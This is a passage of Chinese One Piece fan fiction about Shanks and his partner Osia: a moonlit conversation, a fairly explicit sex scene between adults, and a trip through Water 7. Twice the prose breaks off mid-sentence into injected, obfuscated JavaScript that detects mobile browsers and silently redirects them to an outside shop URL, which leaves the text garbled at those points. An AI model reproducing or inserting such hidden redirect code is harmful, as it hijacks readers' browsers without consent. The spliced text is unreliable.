晚饭后，香克斯和贝克曼就去跟汤姆师徒商议雷德·佛斯号的加固方案，现在才回来。 香克斯“嗯”了一声，把头埋进她的颈窝里蹭了蹭，“怎么自己站在这儿发呆?” “两个孩子都睡着了，我没有睡意，而且很久没试过这样赏月了。” 他一边听着一边去握她的手。 她任由他的动作，男人的手掌比她的更宽，掌心很温暖，因为常年握剑的缘故，手指关节粗大，掌肌很发达，覆盖着厚厚的茧。 香克斯看着自己掌心里的手，肤色白皙，指如削葱根……他收拢五指，在对方手背上缓慢摩挲，语气很关切：“手怎么这么凉?” 奥西娅转过身去跟他相拥，猫似的用脑袋在对方胸膛上蹭了蹭，“凉吗?我都没什么感觉。” 香克斯垂眸看着奥西娅，修长的手指缠绕着她披散在背后的长发，而奥西娅正侧脸仰望着天上的明月。 点缀着点点星子的紫黑色夜空中，明月仿佛白玉盘似的。 奥西娅状似闲聊地提醒他，“我家院子里有棵枇杷树，很高大。 “结枇杷的时候像是撑起了一把金色的大伞，现在才知道是有人在九百年前就种下的。” 庭有枇杷树，吾妻死之年所手植也，今已亭亭如盖矣。 香克斯只是笑，没有接话茬。 奥西娅把视线从明月移向了他，好奇地眨眨眼睛，“你就一点也不想知道吗？” 他跟贝克曼他们不一样，她给他读过亚弗戈蒙的日记。凭他的聪明程度，肯定猜得到跟亚弗戈蒙来自同一个“原来的世界”的她多半也是知道些“未来”的。 “那种事情的话，我不需要。” “大海上还有很多冒险在等着我们呢。” “要是什么都知道的话，我就不做海贼了。” 月光似水，在他唇角上扬的弧度里流淌，时间仿佛都停住了。 她有些错愕地看向他，他却笑得很开心：“嘻嘻~” 于是奥西娅也跟着笑了起来，有些感慨地“啊”了一声，“差点忘记你也是个任性的家伙了。” 不过…… “西西，你知道某些未来这件事，不要随便告诉别人。” 奥西娅失笑：“我又不是傻子。” 她清丽的脸上露出笑意，泠泠的声音温柔好听：“但人这一生，总得要有人能信任，将后背托付给他的，对吧?” 结发为夫妻，恩爱两不疑。 如果爱人之间尚且猜疑，那就没意思了。 而且，即便不是爱人，香克斯也是她的船长，奥西娅觉得没什么不能信任他的。 只是，仍有一个问题从上上世就萦绕在她心头，“你就从来没想过去做海贼王吗？” 香克斯不缺天赋实力，还曾跟随罗杰环游过整个世界，要如何抵达拉夫德鲁，他应该是最清楚的。 而且，他视罗杰如父，应该不会排斥继承对方的遗志才对……但奥西娅上船这么久，却从来没听香克斯提起过想当海贼王这件事。 奥西娅随口一提的事，却让香克斯嘴角的笑意减淡了一些。 他像是陷入了某些回忆，语气有些喟叹：“海贼王啊……” “西西，你希望我做吗？” 奥西娅摇头：“随你。” 虽然她确实很好奇“拉夫德鲁”上那个把全世界连成一片的大秘宝是什么……但试问有哪个海米不好奇呢？ 但好奇是一回事，其实海米们还挺纠结的。 想知道，又没那么想知道，因为当草帽团抵达拉夫德鲁的那一刻，他们这群人的青春也要结束了。 陪伴着他们从少年走往中年，从校园奔向社会的“ONEPIECE”啊。 但来到这个世界以后，奥西娅就不担心那种事情了。 她现在特别想知道拉夫德鲁上到底有什么东西，能让罗杰宁愿留下露玖也要去自首，为那个“ONEPIECE”开启大海贼时代？ 你到底安的什么心？ 混蛋哥尔·D·罗杰。 这么多年过去了，奥西娅对于罗杰抛下露玖和艾斯这件事依然耿耿于怀。 他们两个对视，香克斯问道：“你不问我为什么不去那座岛吗？” “问你？” 奥西娅笑得娇气：“我不问。” “总有你告诉我的那一天。” 她的确想知道，而且想知道的东西越来越多。 但比起硬问出来的，奥西娅更希望香克斯自己来告诉她。 香克斯怔了一下，随即“噗嗤”笑出声来，笑声格外轻松，惹得奥西娅奇怪地看着他。 他笑完了才轻声解释：“果咩果咩，西西，我只是想到了一些以前的事。” “我在奥尔·杰克森斯号上的时候，有一个很好的兄弟，名字叫巴基。” “我曾经邀请过他上船。” 【你不是说过吗，香克斯？】 【将来你要坐自己的船去拉夫德鲁！】 【是啊，我改主意了。】 【现在暂时不打算去了。】 【我看错你了，香克斯。】 【你不是次世代的“王”吗？】 【罗杰船长的遗愿，不该由你来继承吗？！】 【……】 【和我一起走吧，巴基。】 【我才不要当你的部下！八嘎！！！】 “只不过被巴基拒绝了。” 香克斯说着说着摇头失笑，“不，不止拒绝了我。” “还骂了我一顿，很生气地走了。” “他觉得，我辜负了船长的期待。” 大雨磅礴里，巴基打掉了香克斯伸向他的手。 “在船长被处刑的那一天，我和他在罗格镇上分开，就再也没见过了，传闻他还在当海贼。” “真想，见他一面啊。” 香克斯沉默了一会儿，忽然笑起来，有些生硬地岔开话题：“现在想想其实还有些遗憾，如果巴基能跟我们一起出海就好了，哈哈哈哈哈那一定很有意思吧。” 随着他的笑声，一头红发在霜色的月华下格外鲜艳夺目。 奥西娅很认真地对他说：“各人有各人的路要走。” “是啊。” 香克斯点了下头。 “各人有各人的路，这才叫海贼啊。” 【你说过早晚会下这艘船的吧？下船之后你打算做什么？】 【我要拥有自己的船，找一群值得信赖的伙伴一起周游世界，不管花多少时间……嗯，当然还是作为海贼啦。】 【你还是净说些天真的话。】 【什么？】 【我只是很肯定你的战斗能力，如果不是这么天真的话，我倒是很乐意让你做我的部下。】 【做你的部下？别开玩笑了。我们的想法不同，所以还是各走各的路为好，这才叫海贼。】 【哼，你也会谈论什么是海贼啊？不过到时候在海上碰面的话，就要杀个你死我活了。】 【哈哈哈，这也是海贼啊。】 【真搞不懂你这家伙。】 但难就难在去接受各自有路要走，也奇就奇在都接受了各自有路要走。 曾经，奥尔·杰克森斯号上的大家都以为香克斯和巴基长大以后会像罗杰和雷利那样。 “但如果殊途同归的话，就总有重逢的那一天，不是吗？” 奥西娅笑意盈盈地望着他，语气很轻快：“祝君武运昌隆，愿君顶上重逢。” 她可没大放厥词，自古红蓝出CP……如果这一次还有顶上战争的话，这对损友多半真的会“顶上”相见。 啊……似乎说了个地狱笑话。 香克斯看着她认真的表情，也露出来一个更加轻松自由的笑容。 “搜嘎，那样的话也确实很不错呢。” 【带钱了吗？香克斯！】 【嗯！去买好吃的吧！】 “但我确实，在去拉夫德鲁之前，还有必须要做的事情。” 奥西娅安静地等待他的下文，那个困扰了她三世的问题的答案，然后等到了一个字…… “等。” 奥西娅：“……” 故弄玄虚、神神秘秘、说话不清不楚、喜欢吊人胃口这一点，简直跟动漫里的一模一样。 奥西娅沉默，但要是真因为这种小事发脾气好像显得她多小性儿似的。 没错，她一点都不生气。 这么想着，她朝香克斯露出来一个自认为清浅的笑容：“我不急，你去做你想做的就好。” “……” 香克斯看着她皮笑肉不笑的表情，不明白为什么有人连生气也能这么可爱? 他含着笑意的声音既低且沉，十分笃定地说：“西西，等时候到了，我们一起去。” 奥西娅露出一个现代人都懂的微笑：“嗯。” “噗。” 香克斯忍笑，西西真的好可爱。 他的目光落在自己缠绕着几缕青丝的手指上，忍不住捻起一小束去轻划她白皙的面颊。 奥西娅眉心微蹙，抓住他作乱的手：“痒。” 香克斯轻笑，弯腰去亲她的脸颊。 奥西娅侧过头，鼻尖蹭过了他的唇，他的吻也落在了她修长的脖颈上，紧接着炽热的呼吸、湿润的触感开始一寸一寸在那里游移。 她的鸡皮疙瘩瞬间起来了，抬手攥住对方毛茸茸的头发，想要把他拉开，但是手动了动，到底舍不得用上力。 “香克斯……？” “……” 他顿了下，停住有些失控的动作，转而握住奥西娅的手，举到嘴边亲吻她的指尖。 纤细的手指蜷缩了下，指尖泛起淡淡的粉色，他眼里写着欲望，哑声问她：“什么我想做的都能做吗?” 奥西娅对他说‘你去做你想做的就好’，现在他把这个问题抛了回来——他现在确实想做点什么，能吗？ 这个姿势，这句话，傻子都知道他想做的那点事是什么。 看上去，奥西娅既可以回答‘能’，也可以回答‘不能’。 香克斯扶着她的腰身，掌心的温度透过薄薄的布料传过来，炙热的温度从腰间蔓延传到全身。 酒红色的瞳孔渐深，快要晕染成了一团黑墨，奥西娅觉得这个凉爽的夜晚变得有些发热。 他的领口有些下滑，露出里面线条漂亮的结实肌肉。 奥西娅忍不住伸手，柔软的食指划过他的胸膛。 奥西娅望着他，他带着笑望了回去，只是呼吸变得有些急促，“能吗？” “……” 奥西娅的眼神有些飘忽，不大好意思去看他。 能……自然也是能的……成年人做点什么也很正常。 香克斯把下巴搁在她的肩膀上，胡渣刺得她有些痒，锲而不舍地追问：“西西，能吗？” 她想举起手用冰凉的手背给发烫的脸颊降降温，却被对方误以为她想要推开他，于是双手被他紧紧握住不能动弹。 奥西娅：“……” So，其实并不存在‘不能’这个选项是吧？ 他把她打横抱回自己的房间。 “西西，如果你不愿意，就直接推开我。” “我知道你做得到，对不对？” 奥西娅抬手环住香克斯的肩膀，怕他一激动再给她摔了，闻言，试探地晃了两下腿。 然后意料之中地被他抱得死死的，一点也动不了。 而且察觉到奥西娅想要跑，连带着箍在她背上的胳膊也收紧了。 很好，奥西娅已经完全明白现在的情况了。 呵，男人。 （三） 房间里只开着一盏昏黄的夜灯，微光闪烁摇曳。 香克斯捏住奥西娅的下巴，将她按在床上，然后撑在她上方，俯身跟她厮磨，“西西……” 奥西娅抬起手臂，像蔓藤似的缠上他的脖颈，仰头跟他接吻。 衣服在交缠中被拨开，一件件丢到床下，她腰间的系带被扯松了，襟口散开。 罗裙轻解，香肩微露，白皙的肌肤在昏暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144705|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灯光下白得发光。 借着灯光，她看到对方大片的肌肉上分布着大大小小、深浅不一的伤痕。 奥西娅把手搭上去描绘，小心地摸了两把，最后停在腹肌上，似乎想要捏一下，又不敢真用力。 但下一秒，她的手就被结结实实地给按在了发烫的肌肉上。 同时，头顶传来香克斯暗哑的笑声：“想摸？” 奥西娅：“……” 于是香克斯就看到了一只软乎乎的大福从白嫩嫩的奶皮变成粉色樱花皮的全过程。 奥西娅下意识想抽回手，但又想，来都来了。 这可是她肖想了三辈子的人……而且，她现在认怂，跟显得她怕了似的。 她才不怕呢！ 奥西娅咬了咬殷红的下唇，抬眸朝他笑，卷翘的长睫毛轻颤，“不给摸吗？” 眼前的喉结滚动，吞咽声响起。 那个人凑过来跟她咬耳朵，声音里带着笑意：“给啊，怎么不给摸？” 香克斯感觉到被按在自己腹肌上手在微微发颤，就故意去咬她的耳垂，“那你给不给摸呀？” “……” 奥西娅有一瞬间的懵。 摸什么？ 摸哪里？ 这种时候，这种事情，还要“礼貌”询问一下吗？ 等、等等！ 啊啊啊啊啊！！ 他、他手、手放哪儿呢?！！ 凑！流！！氓！！！ 她的反应引得香克斯一阵闷笑，整个人的身体都在颤动。 奥西娅第一次见这样的香克斯，或者说她第一次面对这样的事情，着实不知道要怎样应对，便红着脸伸手去推身上的人。 恼了！ 不做了！！ “唉?” “西西，西西，抱歉抱歉。” 香克斯赶紧把手抽出来箍住她的腰不让人逃走，奥西娅的手腕也被他抓住再次贴回到那片温热的腹肌上。 “你随便摸。” 奥西娅脸色爆红，简直想要打死他，徒劳地用力想要抽回手，抽不出来就握紧了拳头不摸，偏头用一个扭曲的姿势把脸埋进枕头里，做一只逃避现实的小鸵鸟。 她真是服了，这家伙明明连句“喜欢”都能脸红大半天，怎么、怎么到了这种真该脸红的时候，他反而就、就这么厚脸皮了呢？！ 不，他都不止是厚脸皮，他是连脸都不想要了！！！ 两人僵持了一会儿，对方没有进一步动作。 奥西娅有些好奇，可又不敢抬头看他，但最后还是没忍住，小心地侧脸抬眸望向他，却正好对上香克斯满含笑意的眼睛，好像早就在等着她看过来一样。 香克斯一边盯着奥西娅的眼睛，一边低头吻了一下她的肩头。 奥西娅不由地屏住了呼吸。 他的吻在她的身上流连忘返。 “西西……” “要是不舒服了，你可以直接推开我。” 奥西娅：“……” 真是好耳熟的一句屁话。 接下来的一切都水到渠成，顺理成章。 亲吻…… 抚摸…… 交叠…… 进入…… 颤抖…… 缠绵…… 汗水与眼泪、粗喘与呻吟、轻哄与撒娇，室内暗香浮动，床榻不时发出“吱呀”的轻响。 窗外的明月悄悄躲进云层里，芙蓉帐暖度春宵，年轻的女子仿若月见花，在香克斯的怀里绽放。 此时此刻，这世上没有人能比他们更亲近。 这是他们的第一次，是他们未来千千万万次的开始。 （四） 奥西娅的手腕交叠着被香克斯单手扣在头顶上方。 她不知道自己该看哪里好，只好紧紧闭上眼睛，耳边是他时不时的闷哼和性感的喘息，偶尔会有两滴不属于的她的汗水滴落在她的身上。 香克斯俯身去吻她乱颤的睫毛，哑着嗓子问她为什么不看他。 奥西娅死死咬住下唇，克制着嗓子里的娇喘与呻吟，心道，我看你奶奶个腿儿…… 他的吻转移到她的唇瓣上，一边吻一边声音含糊地轻哄：“别咬，房间的隔音很好，他们听不见。” “西西……嗯，我想听。” “……” 奥西娅一口咬在他肩膀上，听你奶奶个腿儿！！！ 香克斯沉声笑着，任由她咬，秉承着“三非原则”继续接下来的动作——非得说话、非得惹她、非得犯贱。 “西西，不看看我吗？” “西西……” 她挂着泪珠的长睫毛轻颤，就是不肯睁眼。 看，这副好欺负的样子，香克斯就更不会放过她了。 他捏着她的下巴，让她正面自己，一边吻一边问：“西西，我脸上的疤痕是不是很难看？” “……” 虽然知道他说这句话多半是卖惨诈她睁眼，但奥西娅还是在那一瞬间就睁开了眼睛。 漂亮的杏眸里蒙了潋滟的水光，眼尾嫣红，刚睁开，就有一滴泪顺着那眼尾滑落，滴在了早就被浸湿的枕头上。 “不，是、是很、很好看的……” 抛开对这三道疤的心疼，奥西娅一直都觉得香克斯的这三道疤痕是好看的、是相当有特点的，给他增添了几分成熟男人的野性。 “……” 望着他的眼神很迷离，反驳他的声音也断断续续地打着颤……香克斯听着她带着哭腔的声音，心想，西西真是可怜坏了。 他用舌头抵了抵上颚，继续引着她发出更多的声音。 “那为什么……” “西西，你不肯看我呢？” 这可真是天大的冤枉，奥西娅欲哭有好多的泪，“我……嗯，我一直、一直在看着你。” 香克斯垂下眼，把她现在的样子印在脑子里。 “你现在就不肯看我。” 奥西娅：？ “不管我怎么做，你都不肯看我。” 奥西娅：？？？ “除了我顶到唔……唔唔……” 奥西娅顿时觉得自己流失的力气全都回来了，一使劲挣脱开他的钳制，抬手用力捂住了他的嘴，生怕他说点什么虽然很合时宜、但以她现在的脸皮着实无福消受的话出来。 香克斯倒也没反抗，只是无辜地看着她。 奥西娅红着脸认怂：“我的错，嗯，你别、别说了。” 香克斯大概就等她这句话呢，立刻点了点头：“但我唔、唔唔唔。” 他被捂着嘴，说的话奥西娅一个字也没听出来，但她又不敢全松开，她怕一松开这家伙又得不要脸。 她小心翼翼地松开很小很小的一点点，问：“什么？” 他的声音很沙哑，又有些委屈：“但我，还是有些难过。” 奥西娅：“……” 虽然她直觉没什么好事，但还是很讲礼貌地顺着他的话问了下去：“那、那怎么办？” 香克斯不装了，掐住奥西娅的腰一个翻身让她跨坐到了自己身上。 奥西娅赶紧双手撑住他的腹肌，稳住自己不要被晃下去。 这个姿势…… 奥西娅沉默，想抽他两个大嘴巴子。 香克斯双手枕在脑后，朝奥西娅露出一个笑容，只有在她想挪动屁股从他胯上爬下去的时候才会出手掐在她腰上制止，然后无辜地朝她眨眨眼睛：“西西？” 奥西娅：“……” 更想抽他了怎么办？ （五） 奥西娅从灭顶的快感中回过神来，香克斯已经端回来了一杯水，正坐在床边俯身吻她的脸。 她就着香克斯的手喝了半杯，就别开脸将他的手推开，摇了摇头。 香克斯把杯子里剩下的水喝完，回到床上把人重新抱进怀里。 昏黄的光线下，依稀可见他胸膛上鲜红的抓痕，都是奥西娅在忘情的时候留下的。 她将半张脸埋在他胸膛里，感觉手指都是绵软无力的。 香克斯的手在她光洁的后背上摩挲，低声笑问：“还好吗？” 声音慵懒性感，听得奥西娅心头微痒。 她娇懒地“哼”了一声，声音里带着淡淡的哑意：“怎么不好？还能再陪你战个八百回合。” 这是还不肯认输呢。 香克斯被她逗得直笑，放在她背上的手也蠢蠢欲动：“真的？” 奥西娅：“……” 她翻了个身，离开香克斯的怀抱，扯过被子将自己裹紧，眼眸清亮但眼尾依旧红的不行，警惕地盯着他。 “……” 感受着空落落的怀抱，香克斯立马垮起了小猫批脸，再三保证自己绝对不会乱来后，才又能继续温香软玉在怀。 他伸手帮怀里的人把黏在脸侧的青丝撩开，“刚才是有什么心事吗？” 不然怎么突然就一个人看起了月亮。 “……” 奥西娅迟疑了一会儿，还是把自己的打算娓娓道来。 躲得了初一躲不过十五，现在不说，迟早得说，开头第一句就给香克斯以暴击。 “香克斯。” “我打算在这里重新开始跟古伊娜的修行之旅。” “就暂时不跟大家一起去新世界了。” 18.第 18 章 （一） 就暂时不跟大家一起去新世界了…… 暂时不跟大家一起去新世界…… 不跟大家一起…… 不一起…… 不、一、起。 提取到关键字的瞬间，香克斯的第一个想法是，他的技术有那么差吗？ 不至于做完就BE吧？ 奥西娅一瞅就知道他想歪了，一巴掌拍在对方的肩膀上，好气又好笑：“不管你在想什么，肯定不是你想的那样。” “我这次出海是有必须要做的事情，等处理完还要尽快回去，所以……” 奥西娅有些说不下去了。 香克斯看起来蔫蔫的，连发色都是黯淡的。 她莫名想起来一句话。 吾妻尚年少，怜语慰卿卿。 虽然她的这个‘卿卿’壮壮的，并无弱柳扶风之姿，还能一拳头捶死海王类，但也不过才二十三岁。 爱人的眼睛是第八大洋，放水放的远超另外七个加起来。 在爱人眼里，将来闻名世界的四皇也不过是能倒拔垂杨柳的林黛玉而已。 爱人如养花，林妹妹需要哄。 奥西娅轻轻揉搓林、咳，香克斯的脸，温声软语地哄他：“别不开心，我最喜欢你了。” “……” 红晕从他的耳根蔓延到脖颈，然后延展至不为人所见的更深处。 香克斯握着拳头抵在嘴边咳了两声：“哦，哦……我、我也……嗯……” 奥西娅：“……” 所以，他害羞的点和不要脸的点为什么能这么奇怪？ 她继续揉他的脸：“而且各人有各人的路要走，这样才是海贼，对不对?” 香克斯：“……” 哦。 原来在这里等他呢。 他凑上去轻轻地碰了一下她的唇角。 “西西……” “再来最后一次好不好？” “……” 奥西娅感受了一下自己酸软的腰，觉得不太好，可对上他可怜兮兮的眼神，她心里又充满了罪恶感。 最后还是红着脸勾住了对方的脖子，凑近他，主动献吻。 可有些事情，一旦让香克斯撬开一个角，就很容易被得寸进尺。 是再来一次，一次来多久？ 还是再来N次，N次各是什么花样？ 那就不是奥西娅能喊停的了。 他像一只贪欢的野兽，得到了一点就想要更多，用实操教会了奥西娅一个道理——不要心疼男人，腰子会变得不幸。 窗外的明月从云层里探出头出来，行至中天又到西沉，黎明将至。 一室混乱，不知今夕是何夕。 身上最后一丝力气也被对方毫不留情地抽走，奥西娅陷入了朦胧的昏沉里。 香克斯用自己的衬衫把她裹好从床上抱起来，她勉强掀开眼皮看向他，他低头亲了亲她泛红微肿的眼尾。 “床上不能睡了，我们去你房间。” “……” 奥西娅顺着他的话往床上一看，潮湿的床单和被褥皱成一团，她的裙子也破破碎碎地挂在床头上，让人没勇气再看第二眼。 她把发烫的脸埋进香克斯怀里，逃避这个世界。 头顶响起他的闷笑，胸膛震得她鼻尖发痒。 彻底坠入沉睡前，奥西娅感觉到有人吻了自己的耳垂，在耳边跟她说悄悄话。 “睡吧。” “明早不让她们来吵你。” (二) 第二天一早，居然是香克斯领着两个孩子下楼吃饭。 路十分奇怪：“奥西娅呢？” 你看这问题问得多有水平，不正中某人下怀吗？ 某张脸上的笑比外面的阳光还要灿烂。 “西西她还在休息呢。” 莱姆琼斯一口粥哽在喉咙里不上不下，他搓搓胳膊上的鸡皮疙瘩：“靠，头儿你笑的好恶心啊！” 斯内克推推脸上的墨镜，企图遮住香克斯身上过分闪耀的光芒：“看得我想打你。” 本乡：“我想给你下泻药。” 宾治举手：“我也。” 猛士达使劲儿点头：“吱吱！” 倒是耶稣布莫名吹了声口哨，贝克曼也相当懂行地哼笑。 其他人懵懂地看向他们两个：? 贝克曼叼着烟，但笑不语。 耶稣布神秘兮兮地摆手，“就是觉得头儿跟奥西娅的感情很好而已。” 其他人：？？？ 在船上的时候他们感情不也很好吗？ (三) 哄着两个孩子跟莱姆琼斯他们去城里玩，香克斯无“崽”一身轻，提着保温饭盒回了房间。 “咔嚓。” 关门的轻响让奥西娅从睡梦中惊醒。 她从被窝里探出头来，被子顺着她的肩头下滑，露出身上痕迹的冰山一角，然后下一秒就被人拽住。 窸窸窣窣的布料摩擦声响起，她再次回到了熟悉的怀抱。 奥西娅缓了缓神，把眼睛睁开一条缝，果然看到了那头颜色鲜亮的红发。 “香、咳咳，香克……” 她的嗓子依然很干涩，声音被卡在了喉咙里，不等她把话说完，眼前就变得一片漆黑，额头也被人安抚地亲了亲，耳边响起香克斯小小的道歉声：“抱歉抱歉，吵醒你了。” “没什么事，再睡一会儿吧。” 见对方还是一副疲惫困倦的样子，香克斯难得心虚了一下，不多，就一下。 他调整了一下自己的姿势，让奥西娅可以枕在自己的胳膊上，用手捂住她的眼睛，帮忙遮住窗外刺目的阳光，另一只手在她光洁的后背上一下又一下地轻抚哄睡。 阳光被人体贴地遮住，身上也被暖烘烘地包裹着……这样也太适合睡觉了。 奥西娅打了个秀气的哈欠，将自己团在对方怀里蹭了蹭他的胸膛，放任自己继续陷入沉睡。 (四) 上一秒，奥西娅才睡到自然醒，大脑还没有开始运转。 下一秒，她就被人压着来了一顿犹如恶狗扑食的亲吻。 杂乱无章的吻，带着熟悉的黏糊感，她下意识地环住对方去回应。 “西西……” 厮磨了一会儿，她听到香克斯有些低哑的声音：“身上还不舒服吗？” 奥西娅：“......” 经历过昨晚“不舒服吗”“这样舒服吗”“舒不舒服”等各种关于‘舒服’的问题，她有些不知道该怎么回答、要不要回答、回答了会不会又被……但不回答也会被…… “......” 香克斯咳了下，跳过这个问题换下一个：“那要不要出去转转？” “汤姆桑应该已经在修船了，我们去船坞看看？” 奥西娅点头如捣蒜，惹得香克斯想笑又不敢笑。 吃完尚且温热的早、不，午、咳，下午茶，两人牵着手前往五号船坞。 他走路带风，奥西娅现在却不是很方便，被对方拉得踉跄了两步，差点撞到他背上。 香克斯这才反应过来，配合着她的步调往前走。 五号船坞已经堆满了修船材料，汤姆正领着他的两个弟子拿着工具在雷德·佛斯号上敲敲打打，海贼们围在他们身边，一边好奇他们的操作，一边给他们打下手。 “哟，头儿，奥西娅，你们来了。” “奥西娅小姐，下午好！” “今天的奥西娅小姐也很漂亮呢~” “吃饭了吗？今天路做的海鲜粥特别香哦！” 但不等奥西娅跟大家打招呼，她的眼睛就先被香克斯捂住了。 奥西娅：？ 然后她听到了香克斯仿佛从牙缝里挤出来的声音：“他为什么……不、穿、裤、子?” 汤姆桑有两个弟子，穿裤子的叫阿斯巴古，不穿裤子的叫弗兰姆。 香克斯小时候跟随罗杰船长在七水之都见过他们一次，那时候弗兰姆就不穿裤子，怎么长大了还是不穿裤子？ 不穿裤子？ 奥西娅马上想到了一个人，她想把香克斯的手拉下来，却摸到了对方发力时手背上暴起的青筋。 “西西，别看！” 阿斯巴古一拳捶在弗兰姆头上：“快去把裤子穿上，这里有女孩子！” “哈？” 弗兰姆转过头来：“那又怎样？” “你想被当成变态吗？！” “嗯？夸我？” “谁夸你啊！！！” “扑哧~” 奥西娅实在忍不住了，她都能想象出弗兰奇、姆的表情，哈哈哈实在太有意思了！ 那对相爱相杀的同门师兄弟很快从互喷变成了武斗，被汤姆一人给了一拳头才安分下来。 “嗟哈哈哈哈哈不好意思，他们太闹腾了！” 香克斯干巴巴地客气：“没、没有……” 但他捂住奥西娅眼睛的手没有一点要松开的意思。 奥西娅对未来的草帽一伙抱有极高的好感度，自带粉丝滤镜。 她偏心地想，大家都是海贼，自由第一，不穿裤子就不穿裤子呗。 再说了，人家不好好穿着三角泳裤了吗？ 又没直接露JJ，已经很文明了。 虽然香克斯不知道奥西娅在想什么，但并不妨碍他感到脊背发毛，单手抱住她的大腿让对方坐在自己的臂弯上，托起来就跑，奥西娅赶忙搂住他的脖子稳住自己。 “汤姆桑，船就拜托你了！我先带西西去城里买点需要用的东西！” 香克斯托着她溜得飞快，跑出去老远才“恍然大悟”地“想起来”，朝船坞的方向喊道：“贝克！都交给你了！” 本来打算去跟Lady约会，却忽然被扔了任务，并且根本来不及拒绝的贝克曼：“……” 他看着香克斯迅速消失的背影，头疼地捏了捏的眉心，“那个白痴……” 耶稣布安慰地拍拍副船长的肩膀：“哈哈哈毕竟是头儿嘛，而且……” 他看向前面穿着三角泳裤撅着屁股哼歌干活的弗兰姆，觉得这位才是真正的海上勇士。 “......而且，这次也能理解哈。” 贝克曼：“……” (五) 到了城里，人渐渐多了起来，奥西娅不好意思继续被香克斯抱着，她挣扎地晃了几下腿，对方才不情不愿地把人放下。 现在的七水之都跟原动漫里有很大的区别。 未来是繁荣的，现在是萧条的。 街道两侧的商店大都关着门，偶尔碰上有人守着的店铺，对方也完全没有接待客人的兴趣，顶多抱着“好久没见过外乡人”的心态抬头瞄他们两眼，然后低下头继续做自己的事。 道路上有些脏乱，海啸卷来的泥沙和垃圾残骸还没有被清理，让人有些下不去脚。 香克斯走在前面清理出能落脚的地方，牵着奥西娅的手往前走。 “来，西西。” “小心脚下。” 跟他们擦肩而过的人大多是手里拿着造船工具的船工，无所事事地游荡在大街小巷。 奥西娅从他们脸上看不到一点原动漫里的干劲儿和热情，或者说得更直白一点，他们只是在等死而已。 香克斯耐心向她解释：“因为海啸的缘故，这座岛的水位每年都在上升，不知道什么时候就会被彻底吞没，所以很少有船愿意把航线定在这里。” “可岛上大多是靠造船修船为生的船工，所以人们的日子很不好过，听说经常为了争抢客户发生火并。” 七水之都被称为造船的都市，这里有很多造船厂，也有很多好手艺的船工，可这里的船工却没有工作。 逐年逼近的海啸、无法维持生计的工作，让这座岛逐渐走向了死亡。 香克斯说：“这就是汤姆桑想要建造海上列车的原因。” “他打算靠海上列车把水之都和其他几座大岛联通在一起来拯救这个地方。” 曾经，奥西娅对原作里这位世界第一的船工似懂非懂，以为冰山和弗兰奇之所以那么敬佩他，是因为对方高超的造船技术和对他们养育教导的恩情。 可现在，她看见了眼前的萧瑟，也清楚海上列车通行后，这座岛屿将会有多么欣欣向荣。 挽狂澜于既倒，扶大厦之将倾。 她在这一刻认识到，那位被弗兰奇和冰山“一直追随着”的、被他们“奉为榜样的”、“能将不可能变为可能的男人”，他是伟大的。 他用自己的毕生所学，造出了不惧怕‘水之诸神’的海上列车，在生命最后的时光里，救活了一座穷途末路的岛。 奥西娅的语气很笃定：“汤姆桑一定会成功的。” “这条街上还会举办很盛大的面具嘉年华。” “是嘛。” “那我们一定要来参加啊。” (六) 奥西娅需要买些出航用品，两人挑了家看起来最干净整洁的杂货店走进去。 老板坐在摇椅里，手里拿着份报纸看，头也不太抬地问他们想要什么。 香克斯环视了一圈后，说了需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175339|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。 “都要最好的？” “嗯。” 老板放下报纸，起身找出他们需要的物品，一边打包一边跟香克斯闲聊：“都是些出海要用的啊，你们夫妻俩是海贼吗？” 香克斯付钱的手一顿，他侧目看了眼在货架区闲逛的奥西娅，然后十分自然地点头：“啊，对，我们刚到这座岛上。” “刚到？你们穿过了海啸？” “哈哈哈哈哈我们运气比较好，在海啸之后到的。” “这样啊……” 奥西娅从货架角落里抽出来一把奇形怪状的尺子，拍掉上面厚厚的灰尘，朝柜台那边扬声问道：“请问这个是什么？” 老板看了一眼她手里举着的东西：“啊，那是船工们用来绘制船图的测量尺，已经不好卖了。” 不好卖了？ “既然如此，怎么不换些更好卖的呢？” 不等老板回答，楼上就先传来了老板娘的吼声：“早就叫他把那块地方腾出来进点面包，但他就是个没有经商头脑的八嘎！” 老板大声回道：“知道了知道了念叨的耳朵都要起茧子了！” “你就只有嘴上知道而已！” 老板苦恼地“啊”了一声，转头跟他们小声嘟囔：“我这里是岛上最后一家还有这些工具存货的店了，就放着呗，没准儿哪天又有年轻的新船工需要了。” “再说这里可是七水之都啊，要是连点造船的工具都找不出来，那像样吗？” 年轻的新船工? 香克斯和奥西娅对视一眼，看得到彼此眼中的笑意。 “老板，这样的工具尺，有没有新一点的？要两套。” “啊？你们要？” “送给两位朋友，都是很年轻的新船工。” 老板一听，嘴角扬了起来：“等着，我去仓库里拿，全新的！” 最后老板打包出来三个巨大的袋子，两个装满了奥西娅出航需要的东西，一个装着两套全新的绘图工具。 香克斯拎着三个大袋子，在快走到门口的时候又倒了回去，对老板小声说了句“谢谢。” 老板：？ (七) 俩人回来的时候，其他人也基本都回来了，正聚在一楼的酒馆大厅里喝酒闲聊。 贝克曼注意到香克斯手上那两大袋出航用品，朝他诧异地挑了挑眉梢。 香克斯只是笑了下，没有多说什么。 